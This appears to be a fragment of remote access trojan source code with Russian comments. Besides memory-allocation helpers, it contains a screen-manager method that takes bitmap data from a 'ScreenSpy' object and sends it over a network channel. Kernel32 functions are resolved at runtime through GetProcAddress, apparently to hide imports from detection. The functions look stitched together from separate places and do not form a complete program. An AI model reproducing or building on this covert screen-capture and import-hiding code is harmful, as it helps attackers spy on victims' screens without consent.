LPVOID MemAllocAndClear(DWORD Size)
{
// Выделить и очистить память указанного размера
if (Size == 0)
return NULL;
void* Memory = pVirtualAlloc(0, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
m_memset(Memory, 0, Size);
//if (Memory != NULL)
//{
// DWORD Symbol = 0;
// __asm
// {
// pushad
// mov edi, [Memory]
// mov ecx, [Size]
// mov eax, [Symbol]
// rep stosb
// popad
// }
// }
return Memory;
}
void CScreenManager::sendBITMAPINFO()
{
typedef BOOL (WINAPI *VirtualFreeT)
(
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD dwFreeType
);
VirtualFreeT pVirtualFree = (VirtualFreeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"VirtualFree");
typedef LPVOID
(WINAPI
*VirtualAllocT)(
__in_opt LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);
VirtualAllocT pVirtualAlloc=(VirtualAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"VirtualAlloc");
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)pVirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
pVirtualFree(lpBuffer, 0, MEM_RELEASE);
}
LPVOID MemAlloc( DWORD dwSize )
{
LPVOID lpRet = pVirtualAlloc( 0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
return lpRet;
}
